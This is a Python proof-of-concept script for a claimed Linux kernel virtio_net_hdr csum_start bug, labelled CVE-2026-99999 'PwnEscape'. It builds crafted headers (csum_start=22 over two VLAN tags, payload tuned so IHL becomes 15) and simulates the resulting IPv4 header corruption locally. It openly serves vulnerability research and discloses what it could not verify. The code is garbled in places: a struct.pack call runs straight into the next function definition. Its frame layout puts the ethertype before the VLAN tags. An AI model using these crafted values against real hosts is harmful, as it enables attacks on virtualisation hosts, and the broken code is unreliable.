#!/usr/bin/env python3 # Archived for authorized security research only. # Source: https://github.com/01luyicheng/CVE-2026-99999 (see README for attribution/license) """ CVE-2026-99999 (PwnEscape) PoC — Linux Kernel IPv4 csum_start Validation Bug CVSS 9.3 (CRITICAL) — CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Discovered by: Paulos CNA: kernel.org | Published: 2026-10-15 | NVD: no entry published for this CVE CVE record: https://www.cve.org/CVERecord?id=CVE-2026-99999 VULNERABILITY SUMMARY A guest VM (or any TAP/virtio-net sender) can supply a virtio_net_hdr whose csum_start is an offset from the start of the frame. The ingress check (__virtio_net_hdr_to_skb) only requires skb_transport_offset >= 20, so a value that does not point at the transport header is still accepted. After VLAN decapsulation the data pointer moves but csum_start does not, so in the IPv4 output path skb_checksum_help() can write its 16-bit result into the IPv4 header itself. With two VLAN tags (csum_start=22) the write lands on IP bytes 0–1; when the folded checksum's first byte is 0x4F, IHL becomes 15 (60 bytes) and ip_do_fragment() copies a 60-byte header. VERIFIED (2026-11-06, v100 7.0.0-38): header corruption and a 40-byte payload shift are reproducible (30/30 fragments with ver_ihl=0x4F). NOT VERIFIED: the 32 bytes read past skb_headlen were zero in every run, so no host-kernel memory disclosure was observed; guest-to-host end-to-end triggering and escape remain unproven. AFFECTED VERSIONS Introduced by f43798c27684 (2008, v2.6.27) Affected: 2.6.27 <= version < matching fixed release Fix commit: 6785011f8b16abf40b1e9d8b2e332232b3e68822 Fixed: 5.10.272+, 5.15.223+, 6.1.190+, 6.6.159+, 6.12.113+, 6.18.57+, 7.2.11+, 7.3 REFERENCES CVE record: https://www.cve.org/CVERecord?id=CVE-2026-99999 (CNA: kernel.org) LKML: https://lore.kernel.org/netdev/... (Michael S. Tsirkin patch) Kernel: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git DISCLAIMER: For authorised security research in isolated lab environments ONLY. Unauthorized use is illegal. Obtain written permission before testing any target. """ import socket import struct import sys import os import argparse # ── Constants ──────────────────────────────────────────────────────────────── ETH_P_IP = 0x0800 IP_PROTO_UDP = 17 IP_MF_FLAG = 0x2000 MAX_PAYLOAD = 65515 VIRTIO_NET_HDR_SZ = 10 VIRTIO_NET_HDR_F_NEEDS_CSUM = 0x01 VIRTIO_NET_HDR_GSO_NONE = 0x00 # ── virtio_net_hdr ─────────────────────────────────────────────────────────── # struct virtio_net_hdr { # u8 flags; // VIRTIO_NET_HDR_F_* (0 = no offload) # u8 gso_type; // VIRTIO_NET_HDR_GSO_* (0 = none) # __virtio16 hdr_len; # __virtio16 gso_size; # __virtio16 csum_start; // <-- offset into packet where checksum starts # __virtio16 csum_offset; // <-- offset within checksum region # }; # With csum offload: flags = VIRTIO_NET_HDR_F_NEEDS_CSUM (1) # Normal csum_start = 34 (Eth 14 + IP 20 = UDP header) on a single Ethernet tag # The BUG: csum_start is frame-relative, so after VLAN stripping it can point # into the IPv4 header. 0 and 14 are rejected (guard requires >= 20); # with two VLAN tags csum_start = 22 lands on IPv4 byte 0. def build_virtio_net_hdr(csum_start: int = 22, csum_offset: int = 0) -> bytes: """ Build a virtio_net_hdr with optional malicious csum_start. csum_start is an offset from the START OF THE FRAME handed to the kernel. Normal (correct) values for UDP checksum offload over a single Ethernet tag: flags = 0x01 (VIRTIO_NET_HDR_F_NEEDS_CSUM) csum_start = 34 (Eth 14 + IPv4 20 = start of UDP header) csum_offset = 6 (offset of UDP checksum field within UDP header) Crafted values for this CVE (two VLAN tags, IPv4 starts at frame offset 22): csum_start = 22 ← passes the ">= 20" ingress guard csum_offset = 0 (write lands on IPv4 bytes 0–1 → version/IHL) OR: csum_start = 22 csum_offset = 6 (write lands on IPv4 byte 6 = Flags/FragOffset) NOTE: csum_start = 0 or 14 (single Ethernet, real IPv4 start) is rejected by __virtio_net_hdr_to_skb() with -EINVAL, because the guard requires skb_transport_offset >= 20. The fields below are little-endian per the virtio spec. """ flags = VIRTIO_NET_HDR_F_NEEDS_CSUM gso_type = VIRTIO_NET_HDR_GSO_NONE hdr_len = 0 gso_size = 0 csum_start_ = csum_start & 0xFFFF csum_offset_ = csum_offset & 0xFFFF return struct.pack(' int: """RFC 791 one's complement checksum.""" if len(header_bytes) % 2: header_bytes += b'\x00' s = 0 for i in range(0, len(header_bytes), 2): s += (header_bytes[i] << 8) + header_bytes[i + 1] s = (s >> 16) + (s & 0xFFFF) s += s >> 16 return (~s) & 0xFFFF def build_ip_header( src_ip: str, dst_ip: str, payload_len: int, identification: int, fragment_offset: int = 0, mf: bool = False, protocol: int = IP_PROTO_UDP, ihl_bytes: int = 20, ) -> bytes: """ Build an IPv4 header whose `ihl_bytes` is 20..60 (multiple of 4). Options are zero-filled. Raises ValueError for invalid arguments. `payload_len` is the number of bytes after the header, so the total length field is ihl_bytes + payload_len. """ if not (0 <= payload_len <= MAX_PAYLOAD): raise ValueError(f"payload_len {payload_len} out of safe range 0–{MAX_PAYLOAD}") if ihl_bytes < 20 or ihl_bytes > 60 or ihl_bytes % 4: raise ValueError(f"ihl_bytes {ihl_bytes} must be 20..60 and a multiple of 4") version_ihl = 0x40 | (ihl_bytes // 4) tos = 0x00 total_len = ihl_bytes + payload_len flags_offset = (fragment_offset & 0x1FFF) | (IP_MF_FLAG if mf else 0) ttl = 64 header_no_cksum = struct.pack( '!BBHHHBBH4s4s', version_ihl, tos, total_len, identification, flags_offset, ttl, protocol, 0, socket.inet_aton(src_ip), socket.inet_aton(dst_ip) ) header_no_cksum += b'\x00' * (ihl_bytes - 20) # zero-filled options cksum = ip_checksum(header_no_cksum) header = bytearray(header_no_cksum) header[10] = (cksum >> 8) & 0xFF header[11] = cksum & 0xFF return bytes(header) # ── Simulate the exploit chain ─────────────────────────────────────────────── def fold16(sum32: int) -> int: """Fold a 32-bit one's complement sum into 16 bits (end-around carry).""" while sum32 > 0xFFFF: sum32 = (sum32 & 0xFFFF) + (sum32 >> 16) return sum32 def csum_write_word(frame_bytes: bytes, csum_start: int) -> int: """ The 16-bit value skb_checksum_help() writes: one's complement of the sum from csum_start to the end of the data (odd trailing byte is padded left). """ s = 0 for i in range(csum_start, len(frame_bytes) - 1, 2): s += (frame_bytes[i] << 8) | frame_bytes[i + 1] if (len(frame_bytes) - csum_start) % 2: s += frame_bytes[-1] << 8 return (~fold16(s)) & 0xFFFF def simulate_csum_start_corruption(frame_bytes: bytes, csum_start: int, csum_offset: int, ip_start: int) -> tuple[bytes, int, int]: """ Simulate __virtio_net_hdr_to_skb() + skb_checksum_help() for the case where csum_start does not point at the transport header. * ingress guard: skb_transport_offset < 20 → -EINVAL (no write happens) * otherwise: sum [csum_start, end], write 16 bits at csum_start+csum_offset All offsets are frame-relative, exactly like skb->csum_start / headroom. Returns (corrupted_frame, write_offset_in_frame, written_word). """ if csum_start < 20: raise ValueError( f"-EINVAL: skb_transport_offset({csum_start}) < 20 " f"(csum_start must be >= 20 to reach the checksum code)" ) word = csum_write_word(frame_bytes, csum_start) target = csum_start + csum_offset if target + 1 >= len(frame_bytes): raise ValueError(f"write target {target} is outside the frame") frame = bytearray(frame_bytes) frame[target] = (word >> 8) & 0xFF frame[target + 1] = word & 0xFF return bytes(frame), target, word def field_name(ip_offset: int) -> str: """ Name the IPv4 header field at a given offset (RFC 791 layout). offset 0: Version+IHL ← csum_offset=0 (with csum_start=22) corrupts this offset 1: TOS offset 2-3: Total Length offset 4-5: Identification offset 6-7: Flags/Frag Offset ← csum_offset=6 corrupts byte 6 offset 8: TTL offset 9: Protocol offset 10-11: Header Checksum offset 12-15: Source IP offset 16-19: Destination IP """ FIELD_NAMES = { 0: "Version+IHL", 1: "TOS", 2: "Total Length (lo)", 3: "Total Length (hi)", 4: "Identification (lo)", 5: "Identification (hi)", 6: "Flags/FragOffset (lo)", 7: "Flags/FragOffset (hi)", 8: "TTL", 9: "Protocol", 10: "Header Checksum (lo)", 11: "Header Checksum (hi)", 12: "Source IP 0", 13: "Source IP 1", 14: "Source IP 2", 15: "Source IP 3", 16: "Dest IP 0", 17: "Dest IP 1", 18: "Dest IP 2", 19: "Dest IP 3", } return FIELD_NAMES.get(ip_offset, f"Byte {ip_offset}") # ── Simulation ─────────────────────────────────────────────────────────────── def run_simulation(num_packets: int = 3, num_fragments: int = 4, csum_offset: int = 0) -> None: """ Standalone simulation of the full exploit chain (no network required). Shows every step: frame construction → ingress guard → checksum write → header field corruption → fragmentation consequence. Key csum_offset values (both with csum_start=22 on a two-VLAN frame): 0 → IPv4 bytes 0–1 → IHL 15 when the written byte0 is 0x4F 6 → Flags/FragOffset byte → reassembly metadata corruption (hypothesis) """ FRAG_SIZE = 64 src_ip = "10.0.0.2" dst_ip = "10.0.0.1" print("\n" + "=" * 72) print(" CVE-2026-99999 (PwnEscape) — Exploit Chain Simulation (v6.0)") print(" No network access required; all steps computed locally.") print("=" * 72) for pkt in range(num_packets): identification = 0xABCD + pkt print(f"\n─── Datagram {pkt + 1}/{num_packets} " f"(identification=0x{identification:04X}) ───") # Step 1: Build Eth + VLAN 1 + VLAN 2 + IPv4 + UDP eth_header = (b'\x00\x00\x00\x00\x00\x01' b'\x00\x00\x00\x00\x00\x02' + struct.pack('!H', ETH_P_IP)) vlan_tags = struct.pack('!HH', 0x8100, 1) + struct.pack('!HH', 0x8100, 2) ip_start = len(eth_header) + len(vlan_tags) # 22 with two VLAN tags csum_start = ip_start # >= 20, passes the guard udp_payload = bytearray(f"POC{pkt:04d}DATA".encode().ljust(32, b'\x00')[:32]) udp_header = struct.pack('!HHHH', 40000 + pkt, 31337, 8 + len(udp_payload), 0) ip_header = build_ip_header(src_ip, dst_ip, len(udp_header) + len(udp_payload), identification, mf=True) frame_prefix = eth_header + vlan_tags + ip_header + udp_header # The written word is payload-dependent. Tune one payload byte until the # folded checksum's high byte is 0x4F (IHL=15), like the real PoC does. udp_payload[-2] = 0 for attempt in range(256): udp_payload[-2] = attempt frame = frame_prefix + bytes(udp_payload) word = csum_write_word(frame, csum_start) if word >> 8 == 0x4F: break print(f" [Step 1] Frame: Eth({len(eth_header)}B) + 2xVLAN({len(vlan_tags)}B) + " f"IP({len(ip_header)}B) + UDP({len(udp_header)}B) + " f"payload({len(udp_payload)}B) = {len(frame)}B") print(f" IPv4 starts at frame offset {ip_start}") # Step 2: Attach crafted virtio_net_hdr vnh = build_virtio_net_hdr(csum_start=csum_start, csum_offset=csum_offset) print(f" [Step 2] virtio_net_hdr: csum_start={csum_start}, " f"csum_offset={csum_offset} (little-endian)") print(f" bytes = {vnh.hex()}") print(f" ingress guard: skb_transport_offset({csum_start}) >= 20 " f"-> accepted") print(f" (csum_start 0 / 14 would be rejected with -EINVAL)") # Step 3: Simulate skb_checksum_help() corruption corrupted, target, word = simulate_csum_start_corruption( frame, csum_start, csum_offset, ip_start) ip_off = target - ip_start ip_bytes = corrupted[ip_start:] ihl = ip_bytes[0] & 0x0F fn = field_name(ip_off) print(f" [Step 3] skb_checksum_help():") print(f" sum[{csum_start}..end] -> 0x{word:04X}, written at " f"frame offset {target} = IPv4 byte {ip_off} ({fn})") print(f" IPv4 byte0: 0x{frame[ip_start]:02X} -> 0x{ip_bytes[0]:02X} " f"(version 4, IHL {ihl})") print(f" IPv4 byte1 (TOS): 0x{frame[ip_start + 1]:02X} -> " f"0x{ip_bytes[1]:02X}") if csum_offset == 0: if ihl == 15: print(f" -> IHL 5 -> 15 (60-byte header); the IP payload " f"shifts by 40 bytes") print(f" (32 payload bytes are absorbed into the header)") else: print(f" -> IHL 5 -> {ihl}; IHL=15 requires the written " f"byte0 to be 0x4F (payload-dependent)") print(f" [real measured case, not this simulated packet]") print(f" -> geometry: skb_headlen=28, data_len=8000") print(f" -> ip_do_fragment() reads 32 bytes past the linear data") print(f" (those bytes were ZERO in every measured run: " f"no disclosure)") elif csum_offset == 6: print(f" -> Flags/FragOffset 0x" f"{frame[ip_start + 6]:02X}{frame[ip_start + 7]:02X} -> 0x" f"{ip_bytes[6]:02X}{ip_bytes[7]:02X} " f"(hypothesis, not executed on a live kernel)") else: print(f" -> IPv4 byte {ip_off} ({fn}) corrupted") # A corrupted IHL changes the header the fragmenter builds. With # csum_offset=0 and a tuned payload, ihl == 15 -> 60-byte header. frag_ihl = ihl * 4 if (csum_offset == 0 and 20 <= ihl * 4 <= 60) else 20 # Step 4: Effect on the fragments built by ip_do_fragment() print(f" [Step 4] Effect on IPv4 egress fragments " f"(header hlen={frag_ihl}B):") for frag_idx in range(num_fragments): is_last = (frag_idx == num_fragments - 1) offset_units = frag_idx * (FRAG_SIZE // 8) payload_len = 8 if is_last else FRAG_SIZE frag_ip = build_ip_header(src_ip, dst_ip, payload_len, identification, offset_units, not is_last, ihl_bytes=frag_ihl) print(f" Frag {frag_idx}: offset={offset_units * 8}B, " f"MF={not is_last}, hlen={len(frag_ip)}B, " f"corrupted field={fn} (IPv4 byte {ip_off})") # Step 5: Resulting fragment sizes print(f" [Step 5] Resulting fragment byte counts:") for frag_idx in range(num_fragments): is_last = (frag_idx == num_fragments - 1) offset_units = frag_idx * (FRAG_SIZE // 8) payload_len = 8 if is_last else FRAG_SIZE frag_ip = build_ip_header(src_ip, dst_ip, payload_len, identification, offset_units, not is_last, ihl_bytes=frag_ihl) tag = f"FRAG{frag_idx}".encode().ljust(payload_len, b'\x00')[:payload_len] frag_bytes = eth_header + vlan_tags + frag_ip + tag print(f" Frag {frag_idx}: {len(frag_bytes)}B " f"(Eth 14 + VLANs 8 + IP {len(frag_ip)} + data {payload_len})") pkt_len = len(ip_header) + len(udp_header) + len(udp_payload) print(f" [Geometry] simulated IP packet = {pkt_len}B, hlen={frag_ihl}B;") print(f" the header copy stays inside this short linear packet, so") print(f" the model does NOT produce an out-of-bounds read. The") print(f" measured case needs an 8000B paged payload with") print(f" skb_headlen=28 (see ~/cve-2026-99999-verify/report.md).") print("\n" + "=" * 72) if csum_offset == 0: print(" Simulation complete - IHL corruption path modelled.") print(" VULNERABLE kernel: IPv4 bytes 0-1 are overwritten and IHL can") print(" become 15; the fragmenter then shifts the payload by 40 bytes.") print(" MEASURED (v100): yes - 30/30 fragments with ver_ihl=0x4F.") print(" MEASURED memory disclosure: none (the 32 OOB bytes were zero).") print(" PATCHED kernel: ip_check_csum_start() rejects the write.") else: print(f" Simulation complete - csum_offset={csum_offset} path modelled.") print(f" VULNERABLE kernel: IPv4 byte {ip_off} ({fn}) is overwritten,") print(" causing the kernel to act on corrupted metadata.") print(" STATUS: hypothesis only - not executed against a live kernel.") print(" PATCHED kernel: ip_check_csum_start() rejects the write.") print(" NOTE: the measured path is --csum-offset 0.") print("=" * 72) # ── Entry Point ────────────────────────────────────────────────────────────── def main() -> None: parser = argparse.ArgumentParser( description="CVE-2026-99999 (PwnEscape) educational PoC — " "IPv4 csum_start corruption in egress fragmentation", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="""EXAMPLES IHL corruption path (measured on v100, default): python3 CVE-2026-99999_pwnescape.py --simulate python3 CVE-2026-99999_pwnescape.py --simulate -n 1 Flags/FragOffset corruption path (fragment reassembly disruption): python3 CVE-2026-99999_pwnescape.py --simulate -n 1 -c 6 More packets / fragments: python3 CVE-2026-99999_pwnescape.py --simulate -n 5 -f 8""" ) parser.add_argument('--simulate', action='store_true', help='Run exploit chain simulation (no network, no root)') parser.add_argument('-c', '--csum-offset', type=int, default=0, help='csum_offset: 0=IHL byte (measured path, default); ' '6=Flags/FragOffset (hypothesis, not run on a live kernel)') parser.add_argument('-n', '--num-packets', type=int, default=3, help='Number of datagrams to simulate (default: 3)') parser.add_argument('-f', '--fragments', type=int, default=4, help='Fragments per datagram, min 2 (default: 4)') args = parser.parse_args() if not args.simulate: # Print educational vulnerability description and exit print(""" ═══════════════════════════════════════════════════════════════════════════════ CVE-2026-99999 (PwnEscape) Linux Kernel IPv4 csum_start Validation — Egress Header Corruption CVSS 9.3 CRITICAL | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Discovered by Paulos | CNA: kernel.org | Published 2026-10-15 ═══════════════════════════════════════════════════════════════════════════════ VULNERABILITY DESCRIPTION virtio_net_hdr carries csum_start as an offset from the START OF THE FRAME. The ingress check (__virtio_net_hdr_to_skb) only requires skb_transport_offset >= 20, so a value that does not point at the transport header is still accepted. With a single Ethernet tag, a real IPv4 frame starts at 14 and is rejected (-EINVAL). With TWO VLAN tags the IPv4 header starts at 22 and is accepted; after VLAN decapsulation the data pointer moves but csum_start does not, so in the IPv4 EGRESS FRAGMENTATION path (ip_do_fragment -> skb_checksum_help) the 16-bit checksum result is written into the IPv4 header itself. This corrupts the IP header: when the written byte0 is 0x4F, IHL changes from 5 (20 bytes) to 15 (60 bytes). ip_do_fragment() then copies a 60-byte header, shifting the payload by 40 bytes and producing misaligned fragments. A 32-byte over-read past skb_headlen has been measured, but every read byte was ZERO: no information disclosure was observed. ATTACK SURFACE KVM/QEMU virtualisation hosts with virtio-net + TAP bridging, or any environment where a TAP/virtio-net sender can supply raw frames plus a virtio_net_hdr to the host stack. The guest-to-host path itself is NOT verified; the v100 reproduction injected frames on a TAP device. IMPACT Measured: IPv4 header corruption and 40-byte payload misalignment in egress fragments (30/30 fragments with ver_ihl=0x4F). NOT verified: host-kernel memory disclosure (the 32 over-read bytes were zero), denial of service, or privilege escalation / escape. AFFECTED KERNEL VERSIONS Introduced by f43798c27684 (2008, v2.6.27). Affected: 2.6.27 <= version < matching fixed release. Fixed: 5.10.272+, 5.15.223+, 6.1.190+, 6.6.159+, 6.12.113+, 6.18.57+, 7.2.11+, 7.3. THIS POC This tool demonstrates the attack chain locally (no network, no root): python3 CVE-2026-99999_pwnescape.py --simulate (IHL corruption, default) python3 CVE-2026-99999_pwnescape.py --simulate -c 6 (Flags/FragOffset, hypothesis) MITIGATION Apply kernel security patches (kernel.org stable trees). Upgrade to 5.10.272 / 5.15.223 / 6.1.190 / 6.6.159 or later. REFERENCES CVE record: https://www.cve.org/CVERecord?id=CVE-2026-99999 (NVD has no entry) Fix commit: 6785011f8b16abf40b1e9d8b2e332232b3e68822 LKML: Michael S. Tsirkin patch series DISCLAIMER This tool is for authorised security research in isolated lab environments only. Unauthorized use against systems you do not own or lack written permission to test is illegal. ═══════════════════════════════════════════════════════════════════════════════ """) sys.exit(0) # Validate arguments if args.fragments < 2: print("[!] --fragments must be at least 2") sys.exit(1) run_simulation(num_packets=args.num_packets, num_fragments=args.fragments, csum_offset=args.csum_offset) if __name__ == '__main__': main()